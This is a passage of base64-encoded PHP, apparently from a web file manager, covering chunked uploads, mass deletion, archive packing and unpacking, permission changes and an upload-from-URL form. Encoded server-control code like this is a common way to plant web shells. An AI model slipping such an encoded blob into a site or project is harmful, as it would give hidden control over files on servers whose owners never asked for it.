CJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtIgogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkY2h1bmtJbmRleCA9PSAkY2h1bmtUb3RhbCAtIDEpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMgKCRmdWxsUGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGV4dF8xID0gJGV4dCA/ICcuJy4kZXh0IDogJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRwYXRoIC4gJy8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLidfJy4gZGF0ZSgneW1kSGlzJykuICRleHRfMTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZnVsbFBhdGhUYXJnZXQgPSAkZnVsbFBhdGg7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHJlbmFtZSgieyRmdWxsUGF0aH0ucGFydCIsICRmdWxsUGF0aFRhcmdldCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9IGVsc2UgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsICRmdWxsUGF0aCkpIHsKICAgICAgICAgICAgICAgIC8vIEJlIHN1cmUgdGhhdCB0aGUgZmlsZSBoYXMgYmVlbiB1cGxvYWRlZAogICAgICAgICAgICAgICAgaWYgKCBmaWxlX2V4aXN0cygkZnVsbFBhdGgpICkgewogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgKICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLAogICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWwiCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKAogICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLAogICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9PiAnQ291bGRuXCd0IHVwbG9hZCB0aGUgcmVxdWVzdGVkIGZpbGUuJwogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ2Vycm9yJywKICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiAiRXJyb3Igd2hpbGUgdXBsb2FkaW5nIGZpbGVzLiBVcGxvYWRlZCBmaWxlcyAkdXBsb2FkcyIsCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsCiAgICAgICAgICAgICdpbmZvJyAgID0+ICdUaGUgc3BlY2lmaWVkIGZvbGRlciBmb3IgdXBsb2FkIGlzblwndCB3cml0ZWFibGUuJwogICAgICAgICk7CiAgICB9CiAgICAvLyBSZXR1cm4gdGhlIHJlc3BvbnNlCiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7CiAgICBleGl0KCk7Cn0KCi8vIE1hc3MgZGVsZXRpbmcKaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWydkZWxldGUnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHsKCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsKICAgIH0KCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KCiAgICAkZXJyb3JzID0gMDsKICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddOwogICAgaWYgKGlzX2FycmF5KCRmaWxlcykgJiYgY291bnQoJGZpbGVzKSkgewogICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICBpZiAoJGYgIT0gJycpIHsKICAgICAgICAgICAgICAgICRuZXdfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGY7CiAgICAgICAgICAgICAgICBpZiAoIWZtX3JkZWxldGUoJG5ld19wYXRoKSkgewogICAgICAgICAgICAgICAgICAgICRlcnJvcnMrKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7CiAgICB9CgogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBQYWNrIGZpbGVzIHppcCwgdGFyCmlmIChpc3NldCgkX1BPU1RbJ2dyb3VwJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgKGlzc2V0KCRfUE9TVFsnemlwJ10pIHx8IGlzc2V0KCRfUE9TVFsndGFyJ10pKSAmJiAhRk1fUkVBRE9OTFkpIHsKCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsKICAgIH0KCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgICRleHQgPSAnemlwJzsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KCiAgICAvL3NldCBwYWNrIHR5cGUKICAgICRleHQgPSBpc3NldCgkX1BPU1RbJ3RhciddKSA/ICd0YXInIDogJ3ppcCc7CgogICAgaWYgKCgkZXh0ID09ICJ6aXAiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gInRhciIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJyksICdlcnJvcicpOwogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgIH0KCiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTsKICAgICRzYW5pdGl6ZWRfZmlsZXMgPSBhcnJheSgpOwoKICAgIC8vIGNsZWFuIHBhdGgKICAgIGZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKICAgICAgICBhcnJheV9wdXNoKCRzYW5pdGl6ZWRfZmlsZXMsIGZtX2NsZWFuX3BhdGgoJGZpbGUpKTsKICAgIH0KICAgIAogICAgJGZpbGVzID0gJHNhbml0aXplZF9maWxlczsKICAgIAogICAgaWYgKCFlbXB0eSgkZmlsZXMpKSB7CiAgICAgICAgY2hkaXIoJHBhdGgpOwoKICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7CiAgICAgICAgICAgICRvbmVfZmlsZSA9IHJlc2V0KCRmaWxlcyk7CiAgICAgICAgICAgICRvbmVfZmlsZSA9IGJhc2VuYW1lKCRvbmVfZmlsZSk7CiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nLiRleHQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHppcG5hbWUgPSAnYXJjaGl2ZV8nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nLiRleHQ7CiAgICAgICAgfQoKICAgICAgICBpZigkZXh0ID09ICd6aXAnKSB7CiAgICAgICAgICAgICR6aXBwZXIgPSBuZXcgRk1fWmlwcGVyKCk7CiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7CiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gJ3RhcicpIHsKICAgICAgICAgICAgJHRhciA9IG5ldyBGTV9aaXBwZXJfVGFyKCk7CiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7CiAgICAgICAgfQoKICAgICAgICBpZiAoJHJlcykgewogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdBcmNoaXZlJykuJyA8Yj4lczwvYj4gJy5sbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdBcmNoaXZlIG5vdCBjcmVhdGVkJyksICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7CiAgICB9CgogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBVbnBhY2sgemlwLCB0YXIKaWYgKGlzc2V0KCRfUE9TVFsndW56aXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHsKCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsKICAgIH0KCiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTsKICAgICR1bnppcCA9IGZtX2NsZWFuX3BhdGgoJHVuemlwKTsKICAgICR1bnppcCA9IHN0cl9yZXBsYWNlKCcvJywgJycsICR1bnppcCk7CiAgICAkaXNWYWxpZCA9IGZhbHNlOwoKICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwogICAgfQoKICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICcvJyAuICR1bnppcCkpIHsKICAgICAgICAkemlwX3BhdGggPSAkcGF0aCAuICcvJyAuICR1bnppcDsKICAgICAgICAkZXh0ID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pOwogICAgICAgICRpc1ZhbGlkID0gdHJ1ZTsKICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgfQoKICAgIGlmICgoJGV4dCA9PSAiemlwIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09ICJ0YXIiICYmICFjbGFzc19leGlzdHMoJ1BoYXJEYXRhJykpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICB9CgogICAgaWYgKCRpc1ZhbGlkKSB7CiAgICAgICAgLy90byBmb2xkZXIKICAgICAgICAkdG9mb2xkZXIgPSAnJzsKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0b2ZvbGRlciddKSkgewogICAgICAgICAgICAkdG9mb2xkZXIgPSBwYXRoaW5mbygkemlwX3BhdGgsIFBBVEhJTkZPX0ZJTEVOQU1FKTsKICAgICAgICAgICAgaWYgKGZtX21rZGlyKCRwYXRoIC4gJy8nIC4gJHRvZm9sZGVyLCB0cnVlKSkgewogICAgICAgICAgICAgICAgJHBhdGggLj0gJy8nIC4gJHRvZm9sZGVyOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZigkZXh0ID09ICJ6aXAiKSB7CiAgICAgICAgICAgICR6aXBwZXIgPSBuZXcgRk1fWmlwcGVyKCk7CiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT51bnppcCgkemlwX3BhdGgsICRwYXRoKTsKICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAidGFyIikgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJGd6aXBwZXIgPSBuZXcgUGhhckRhdGEoJHppcF9wYXRoKTsKICAgICAgICAgICAgICAgIGlmIChAJGd6aXBwZXItPmV4dHJhY3RUbygkcGF0aCxudWxsLCB0cnVlKSkgewogICAgICAgICAgICAgICAgICAgICRyZXMgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgLy9UT0RPOjogbmVlZCB0byBoYW5kbGUgdGhlIGVycm9yCiAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCRyZXMpIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IHVucGFja2VkJyksICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgfQogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBDaGFuZ2UgUGVybXMgKG5vdCBmb3IgV2luZG93cykKaWYgKGlzc2V0KCRfUE9TVFsnY2htb2QnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikgewoKICAgIGlmKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoIkludmFsaWQgVG9rZW4uIiksICdlcnJvcicpOwogICAgfQogICAgCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KCiAgICAkZmlsZSA9ICRfUE9TVFsnY2htb2QnXTsKICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7CiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRmaWxlKTsKICAgIGlmICgkZmlsZSA9PSAnJyB8fCAoIWlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICcvJyAuICRmaWxlKSkpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7CiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQoKICAgICRtb2RlID0gMDsKICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkgewogICAgICAgICRtb2RlIHw9IDA0MDA7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMjAwOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDEwMDsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkgewogICAgICAgICRtb2RlIHw9IDAwNDA7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMDIwOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDAxMDsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkgewogICAgICAgICRtb2RlIHw9IDAwMDQ7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMDAyOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDAwMTsKICAgIH0KCiAgICBpZiAoQGNobW9kKCRwYXRoIC4gJy8nIC4gJGZpbGUsICRtb2RlKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpOwogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnKSwgJ2Vycm9yJyk7CiAgICB9CgogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovKioqKioqKioqKioqKioqKioqKioqKioqKioqIEFDVElPTlMgKioqKioqKioqKioqKioqKioqKioqKioqKioqLwoKLy8gZ2V0IGN1cnJlbnQgcGF0aAokcGF0aCA9IEZNX1JPT1RfUEFUSDsKaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7Cn0KCi8vIGNoZWNrIHBhdGgKaWYgKCFpc19kaXIoJHBhdGgpKSB7CiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTsKfQoKLy8gZ2V0IHBhcmVudCBmb2xkZXIKJHBhcmVudCA9IGZtX2dldF9wYXJlbnRfcGF0aChGTV9QQVRIKTsKCiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpOwokZm9sZGVycyA9IGFycmF5KCk7CiRmaWxlcyA9IGFycmF5KCk7CiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKCIvIiwkcGF0aCksIC0xKVswXTsKaWYgKGlzX2FycmF5KCRvYmplY3RzKSAmJiBmbV9pc19leGNsdWRlX2l0ZW1zKCRjdXJyZW50X3BhdGgpKSB7CiAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgewogICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgewogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYgKCFGTV9TSE9XX0hJRERFTiAmJiBzdWJzdHIoJGZpbGUsIDAsIDEpID09PSAnLicpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgICRuZXdfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZpbGU7CiAgICAgICAgaWYgKEBpc19maWxlKCRuZXdfcGF0aCkgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSkpIHsKICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZTsKICAgICAgICB9IGVsc2VpZiAoQGlzX2RpcigkbmV3X3BhdGgpICYmICRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUpKSB7CiAgICAgICAgICAgICRmb2xkZXJzW10gPSAkZmlsZTsKICAgICAgICB9CiAgICB9Cn0KCmlmICghZW1wdHkoJGZpbGVzKSkgewogICAgbmF0Y2FzZXNvcnQoJGZpbGVzKTsKfQppZiAoIWVtcHR5KCRmb2xkZXJzKSkgewogICAgbmF0Y2FzZXNvcnQoJGZvbGRlcnMpOwp9CgovLyB1cGxvYWQgZm9ybQppZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCiAgICAvL2dldCB0aGUgYWxsb3dlZCBmaWxlIGV4dGVuc2lvbnMKICAgIGZ1bmN0aW9uIGdldFVwbG9hZEV4dCgpIHsKICAgICAgICAkZXh0QXJyID0gZXhwbG9kZSgnLCcsIEZNX1VQTE9BRF9FWFRFTlNJT04pOwogICAgICAgIGlmKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikgewogICAgICAgICAgICBhcnJheV93YWxrKCRleHRBcnIsIGZ1bmN0aW9uKCYkeCkgeyR4ID0gIi4keCI7fSk7CiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCcsJywgJGV4dEFycik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAnJzsKICAgIH0KICAgID8+CiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWRyb3B6b25lJyk7ID8+CiAgICA8ZGl2IGNsYXNzPSJwYXRoIj4KCiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyIDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1oZWFkZXIiPgogICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFicyI+CiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiNmaWxlVXBsb2FkZXIiIGRhdGEtdGFyZ2V0PSIjZmlsZVVwbG9hZGVyIj48aSBjbGFzcz0iZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXAiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VwbG9hZGluZ0ZpbGVzJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSIjdXJsVXBsb2FkZXIiIGNsYXNzPSJqcy11cmwtdXBsb2FkIiBkYXRhLXRhcmdldD0iI3VybFVwbG9hZGVyIj48aSBjbGFzcz0iZmEgZmEtbGluayI+PC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkIGZyb20gVVJMJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPHAgY2xhc3M9ImNhcmQtdGV4dCI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyBGTV9QQVRIID8+IiBjbGFzcz0iZmxvYXQtcmlnaHQiPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2siPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKT8+PC9hPgogICAgICAgICAgICAgICAgICAgIDxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0Rlc3RpbmF0aW9uRm9sZGVyJykgPz48L3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PgogICAgICAgICAgICAgICAgPC9wPgoKICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEZNX1NFTEZfVVJMKSAuICc/cD0nIC4gZm1fZW5jKEZNX1BBVEgpID8+IiBjbGFzcz0iZHJvcHpvbmUgY2FyZC10YWJzLWNvbnRhaW5lciIgaWQ9ImZpbGVVcGxvYWRlciIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmdWxscGF0aCIgaWQ9ImZ1bGxwYXRoIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmYWxsYmFjayI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiBtdWx0aXBsZS8+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXBsb2FkLXVybC13cmFwcGVyIGNhcmQtdGFicy1jb250YWluZXIgaGlkZGVuIiBpZD0idXJsVXBsb2FkZXIiPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPSJqcy1mb3JtLXVybC11cGxvYWQiIGNsYXNzPSJyb3cgcm93LWNvbHMtbGctYXV0byBnLTMgYWxpZ24taXRlbXMtY2VudGVyIiBvbnN1Ym1pdD0icmV0dXJuIHVwbG9hZF9mcm9tX3VybCh0aGlzKTsiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0idXBsb2FkIiBhcmlhLWxhYmVsPSJoaWRkZW4iIGFyaWEtaGlkZGVuPSJ0cnVlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InVybCIgcGxhY2Vob2xkZXI9IlVSTCIgbmFtZT0idXBsb2FkdXJsIiByZXF1aXJlZCBjbGFzcz0iZm9ybS1jb250cm9sIiBzdHlsZT0id2lkdGg6IDgwJSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkgbXMtMyI+PD9waHAgZWNobyBsbmcoJ1VwbG9hZCcpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Imxkcy1mYWNlYm9vayI+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9ImpzLXVybC11cGxvYWRfX2xpc3QiIGNsYXNzPSJjb2wtOSBtdC0zIj48L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWRyb3B6